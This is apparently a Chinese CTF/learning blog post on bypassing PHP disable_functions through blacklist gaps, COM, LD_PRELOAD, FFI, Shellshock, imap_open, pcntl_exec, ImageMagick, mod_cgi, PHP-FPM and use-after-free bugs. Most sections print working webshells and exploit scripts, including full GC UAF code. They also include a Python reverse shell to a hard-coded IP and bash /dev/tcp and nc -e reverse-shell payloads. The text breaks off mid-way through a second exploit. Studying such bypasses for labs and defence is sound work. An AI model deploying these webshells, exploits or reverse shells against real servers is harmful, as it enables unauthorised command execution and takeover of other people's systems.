黑名单绕过(常规手段)

这个绕过就是利用黑名单之外的函数去执行命令,但是我在测试这个黑名单绕过的时候发现了一个很迷惑的点,在Windows下我禁用了eval和system函数hackbar确实不能执行system函数了
image-20231206164832783
但是蚁剑上面任然可以命令执行
image-20231206164914744
另外eval函数也任然可以执行
image-20231206164939494
岂不是相当于禁用eval函数没用??这个时候的php版本为5.4.45,然后是Linux下的测试,我也禁用了eval、system做测试,eval函数照样正常执行
image-20231206164953272
然后尝试system函数
image-20231206165006450
然后尝试用以蚁剑去执行命令

蚁剑还是可以正常执行命令,然后我再网上找了一下经常禁掉的函数全部加上去

1
exec,passthru,popen,shell_exec,proc_open,proc_terminate,curl_exec,curl_multi_exec,show_source,touch,escapeshellcmd,escapeshellarg,eval,system

此时蚁剑无法正常命令执行了

然后我在Windows下也加上那一堆函数,然后蚁剑此时也无法正常命令执行了
image-20231206165049441
然后把system放出来之后可以正常执行命令,此时就猜测蚁剑的那个终端的命令执行当system用不了的时候会去尝试用其它的函数执行命令,应该是内置了一堆命令执行的函数,没有研究过蚁剑的源码,但是我觉得我的猜测八九不离十,但是对于那个eval函数的禁用还是没懂为什么禁用不了,难道是因为无法做命令执行只能执行某个函数所以不限制??
上面的疑惑结束,这个部分的黑名单绕过也就是找一些没有被办掉可以命令执行的函数,当然只能利用hackbar在网页上执行,因为蚁剑里面不一定内置了那个函数无法使用终端去执行命令,参考l3m0n/Bypass_Disable_functions_Shell: 一个各种方式突破Disable_functions达到命令执行的shell (github.com)该项目,一般的禁用列表如下,可以从这个里面找漏网之鱼,如果有再去找函数的详细用法

1
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

一般直接命令执行的函数就下面几个

1
exec、shell_exec、system、passthru、popen、proc_open

利用Windows组件COM绕过

利用条件

  • phpinfo()中能搜到com.allow_dcom,即做了配置,默认没做
    这个组件默认是没有做配置的
    image-20231206165114747
    需要加上extension=php_com_dotnet.dll,然后将com.allow_dcom = true前面的分号去掉
    image-20231206165131300
    这样配置后即可在phpinfo中搜到com.allow_dcom
    image-20231206165142182
    如果一台Windows服务器做了这个配置,那么就可以利用这个来绕过,即创建一个COM对象,通过调用COM对象的exec替我们执行命令,上传如下代码即可
    image-20231206165154479
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    $wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
    if($wsh == 'wscript') {
    $command = $_GET['cmd'];
    $wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
    $exec = $wshit->exec("cmd /c".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
    }
    elseif($wsh == 'application') {
    $command = $_GET['cmd'];
    $wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
    $exec = $wshit->ShellExecute("cmd","/c ".$command);
    }
    else {
    echo(0);
    }
    ?>
    image-20231206165205647
    这个利用的是COM下的exec直接来命令执行,至于怎么利用的可以参考COM 技术概述 - Win32 apps | Microsoft Learn我这里就不研究了

利用Linux环境变量LD_PRELOAD

感觉这个是面试或者CTF里面考的最多的,先看一下LD_PRELOAD是什么
摘抄,感觉解释的挺好

LD_PRELOAD 是一个可选的 Unix 环境变量,包含一个或多个共享库或共享库的路径,加载程序将在包含 C 运行时库(libc.so)的任何其他共享库之前加载该路径。这称为预加载库。
也就是说它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。即我们可以自己生成一个动态链接库加载,以覆盖正常的函数库,也可以注入恶意程序,执行恶意命令。

即LD_PRELOAD是设置你某个程序运行时去哪加载你的动态链接库的一个环境变量,既然可以自己指定这个路径那么就有操作的空间了,就可以自己设置个恶意的程序路径

动态链接库又是什么呢,继续摘抄

简单来说一个正常程序在运行时会调用不同的链接,比如c,调用h,也可以直接调用so(win的话就是dll),这些链接库去使用他们的库

感觉就是在运行C或者python时你指定一个头文件或者库,然后就可以调用里面的函数,动态就是在你运行这个程序时去调用,这样理解应该没错
概念差不多了,下面看怎么利用这个

基本演示

id

这里拿id命令来看一下LD_PERLOAD的基本用法吧
利用下面命令查看一下id底层调用了哪些函数

1
readelf -Ws /usr/bin/id

image-20231206165223464
其中就使用了getuid这个函数,但是找了半天这个函数的原本代码没找到,不知道怎么找,麻了。。。先放着继续往下
下面生成一个.so文件,先写个.c原本的getuid函数应该不是这样的

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int getuid(){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");#解除捆绑,否则容易出现死循环的奇怪状况
printf("success\n");
}

然后编译为.so文件

1
2
gcc -c -fPIC test.c -o test
gcc --share test -o test.so

再设置环境变量

1
export LD_PRELOAD=./test.so

然后执行id可以看到printf先被执行了
image-20231206165347655
弄完这个之后我纠结了很久怎么去找到getuid的源码,但后面发现其实不找到源码也是可以的,因为你写的那个getuid当id命令执行的时候去加载不会管你里面怎么执行的,只会去对应参数,参数写对了即可,没写对的话报错也会给你报出来正确的应该怎么写,如执行ls时调用的strncmp()函数,看下面博主的图
image-20231206165356149

实战php中怎么利用

上面是在测试这个方法的基本使用,利用的是Linux中的id命令会调用的外部程序来做测试,下面就需要寻找在php中哪些函数会启动一个新进程,即调用外部函数,只要启动新进程即可利用,无所谓是哪个函数
根据前辈们的经验常用的有mail()、error_log()函数,两个函数在调用时都会启动一个新的进程/usr/sbin/sendmail,当然这里sendmail默认是没有安装的,可以自行安装一下apt-get install sendmail,失败的话执行一下apt-get update即可,另外imap_mail()函数也会启动一个新进程大概率也是可行的,

这里就只测试mail()函数,它启动的新进程中sendmail里面也会调用getuid函数,所以继续劫持这个getuid即可
image-20231206165417218
然后编写个mail.php代码去调用mail函数

1
2
3
4
<?php
putenv("LD_PRELOAD=/home/joker27/tmp/test.so");
mail("a","b","c","d");
?>

然后和.so文件放在一起
image-20231206165434047
上面的.so文件改了一下那个用在这里没有回显
image-20231206165443493
然后直接访问mail.php即可执行代码,也可以利用文件包含也可执行
image-20231206165500254
然后这里再贴个可以利用的函数总结

1
2
3
4
5
6
mail()
error_log()
mb_send_mail()需要安装mbstring模块,利用与mail()类似
imap_mail()需要安装imap模块
libvirt_connect()需要libvirt模块
gnupg_init()需要gnupg模块

找了半天终于找到一篇博客,里面一段话让我对这个过程更加的清晰

当系统试图调用某函数时,该函数位于特定的共享库(xxx.so)。因此,系统在调用之前将加载xxx.so。换句话说,如果我可以创建一个evil.so有了同名的函数,就能将其覆盖之。

上面都是劫持的getuid这个函数,需要启动的新进程中有函数去调用它才行,有一定的限制性,下面看怎么突破这个限制
劫持共享对象
共享对象(Shared Object, SO)即.so文件,上面的是当mail函数启动一个新进程之后会去.so文件即共享对象里面找一些要调用的函数,找到sendmail后sendmail里面再去调用getuid函数,但是sendmail不一定会安装那么劫持getuid也就没有用了,那么有没有一种方法在加载共享对象时就能执行恶意代码,答案肯定是有的,利用__attribute__((constructor))即可,它可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))修饰的函数
这部分的代码就直接用yangyangwithgnu这位佬的代码就行了
首先是.c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

把这个.c编译为.so文件即可,然后是加载.so文件的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

这段代码接收三个GET参数,一是 cmd 参数,待执行的系统命令(如 pwd);二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。
下面上传代码测试一下
image-20231206165528022
成功绕过执行,注意outpath后面的路径一定要可写才行,这种方式也可以在awd中去劫持ls、cat等命令,让他在执行命令的时候就把flag发给你了
[[LD_PRELOAD劫持]]

利用PHP7.4 FFI绕过

利用条件

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且ffi.enable=true
    ffi.enable默认是没有开启的
    image-20231206165546145
    然后去php.ini给它设置为true
    image-20231206165555494
    然后重启一下apache即可生效,记得重启,这样就可以通过c语言的system去执行,绕过disable functions。
    1
    2
    3
    4
    5
    6
    7
    <?php
    $cmd=$_GET["cmd"];
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("$cmd > /tmp/SD");
    echo file_get_contents("/tmp/SD");
    @unlink("/tmp/SD");
    ?>
    image-20231206165616298
    当没有权限创建或者修改文件时可以参考buu上FighterFightsInvincibly一题
1
2
3
4
5
payload1:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

payload2:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

利用Bash Shellshock(CVE-2014-6271)破壳漏洞

利用条件

  • 利用条件php < 5.6.2 & bash <= 4.3(破壳)

    漏洞原理如下:
    Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

这个复现就直用vulhub的环境了,利用这个绕过其实就是看存不存在破壳漏洞
简单测试一下是否存在破壳漏洞

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果输出vulnerable表示存在
image-20231206165631346
利用exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

将上面的exp上传到靶机的tmp目录下然后去包含再执行命令即可,这里没有好的测试环境我就不测了,贴个图
image-20231206165656631

利用imap_open()绕过

利用条件

  • 安装了PHP的imap扩展
  • php.ini中开启imap.enable_insecure_rsh选项为On
  • PHP 5.6.0至PHP 5.6.38;PHP 7.0.0至PHP 7.0.32;PHP 7.1.0至PHP 7.1.24;PHP 7.2.0至PHP 7.2.12
    先安装一下imap扩展apt-get install php-imap然后在php.ini中修改imap.enable_insecure_rsh为On再重启服务
    ![[Pasted image 20231127145433.png]]
    基本原理如下,大概就是imap_open函数没有对传递的邮箱名称做好安全校验
    1
    PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。
    EXP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php  
    error_reporting(0);
    if (!function_exists('imap_open')) {
    die("no imap_open function!");
    }
    $server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'].">/tmp/cmd_result") . "|base64t-d|sh}";
    imap_open('{' . $server . ':143/imap}INBOX', '', '');
    var_dump("nnError: ".imap_last_error());
    sleep(5);
    echo file_get_contents("/tmp/cmd_result");
    ?>
    这里我机器上的php版本不行,懒得复现了

利用 pcntl_exec

利用条件

  • PHP安装并启用了pcntl插件
    利用pcntl_exec(),它是pcntl插件专有的命令执行函数来执行系统命令函数,但是这个命令没有回显,所以常用来反弹shell,在web目录下创建一个php文件,加入下面代码
    1
    <?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
    然后访问这个文件即可反弹成功,我这里没装这个插件,装这个比较麻烦就懒得复现了,这个也算是黑名单绕过了

利用 ImageMagick bypass

利用条件

  • 目标主机安装了漏洞版本的 imagemagick(<= 3.3.0)
  • 安装了 php-imagick 拓展并在 php.ini 中启用
  • 编写 php 通过 new Imagick 对象的方式来处理图片等格式文件
  • PHP >= 5.4

利用方法

原理参考:CVE-2016-3714 - ImageMagick 命令执行分析 | 离别歌 (leavesongs.com)
直接在文件上传处上传jpg

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|id")'
pop graphic-context

id处为命令执行的地方
image-20231206165723432
另外还可以进行反弹shell、ssrf、任意文件删除、任意文件读取等,但是没复现成功
SSRF

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

任意文件删除

1
2
3
4
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

任意文件读取

1
2
3
4
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context

反弹shell,下面这两种方式都失败了不知道为什么

1
2
3
4
5
6
7
8
9
10
11
第一种方式
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|bash -i >& /dev/tcp/IP/6666 0>&1")'
pop graphic-context

第二种方式
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|nc -e /bin/bash ip 6666")'
pop graphic-context

另外看别的文章直接给了exp但没具体的利用方式,我这里没有环境也无法去验证怎么利用,以后遇到了再弄吧。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

应该就是拿到shell后上传这个文件然后包含它命令执行

利用 Apache Mod CGI

利用条件

  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

利用原理

关于Mod CGI
早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行其上的应用程序进行“交流”的一种约定。

当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。

Apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下:

Options +ExecCGIAddHandler cgi-script .xxx

这样便会将当前目录下的所有的.xxx文件当做CGI程序执行了。

即web服务器遇到动态请求时,即网页上的数据是从数据库中或者其它地方调用的请求,web服务器就会交给CGI处理,例如php解释器,然后在配置文件(如htaccess)中可以设置某某后缀以CGI程序运行就可以绕过disable_functions

利用方法

这里用蚁剑的docker做环境复现,如果觉得麻烦也可以直接在ctfhub上用现成的
image-20231206165740013
执行一下phpinfo看看禁用函数

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv,

大部分都被禁用了,蚁剑连接然后去绕过
web目录下上传.htaccess文件

1
2
Options +ExecCGI
AddHandler cgi-script .ant

上传shell.ant

1
2
3
4
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

由于目标是liunx系统,linux中CGI比较严格。这里也需要去liunx系统创建文件上传,如果使用windows创建文件并上传是无法解析的。这里我比较听话直接去Linux上创建了
image-20231206165804798
直接访问shell.ant出错,权限问题
image-20231206165813940
直接使用蚁剑修改权限
image-20231206165823026
然后再访问可看到命令执行成功
image-20231206165847169
经测试这里cat、ifconfig等命令用不了,ctfhub可以用ifconfig但是cat也用不了tac可用
image-20231206165953463

后面发现应该是我傻逼了,cat的flag,但是flag是直接cat不了的

利用攻击PHP-FPM

FPM其实是一个fastcgi协议解析器,服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据,得到执行该函数的环境变量。PHP-FPM拿到 fastcgi的数据包后,进行解析,然后执行 SCRIPT_FILENAME的值指向的php文件。
详解PHP中PHP-FPM是什么?有什么用?-php教程-PHP中文网

利用条件

  • Linux 操作系统
  • PHP-FPM
  • 存在可写的目录, 需要上传 .so 文件

利用原理

参考浅析php-fpm的攻击方式 - 先知社区 (aliyun.com)感觉挺麻烦的,不想看了

利用方法

这里我直接用ctfhub上的环境了
首先执行一下phpinfo()查看是否配置了
image-20231206170102069
可以看到配置了FPM/FastCGI然后直接使用插件绕过,这个模式需要自己找配置文件查找FPM接口地址
image-20231206170133906
默认的是 unix:/// 本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000如下,配置文件位置为/usr/local/etc/php-fpm.d/zz-docker.conf
image-20231206170202849
开始执行
image-20231206170215436
成功后可以看到 在/var/www/html/ 目录下有个 .antproxy.php 文件
image-20231206170226812
然后连接这个shell即可命令执行,插件上传的shell密码也是没有变的,连接之后即可执行命令
image-20231206170234295

利用 GC UAF

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3
这个pwn的也就不研究了

利用条件

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 - all versions to date

利用方法

直接用ctfhub环境,用蚁剑插件来绕过
image-20231206170249979
也有现成的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("tac /flag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

直接在web目录创建个php文件把代码复制进去,然后访问即可
image-20231206170304377

利用 Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function

利用条件

  • Linux 操作系统
  • PHP7.1 - all versions to date
  • PHP7.2 < 7.2.19 (released: 30 May 2019)
  • PHP7.3 < 7.3.6 (released: 30 May 2019)

利用方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
<?php

//$cmd = "id";
$cmd = $_POST[cmd];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

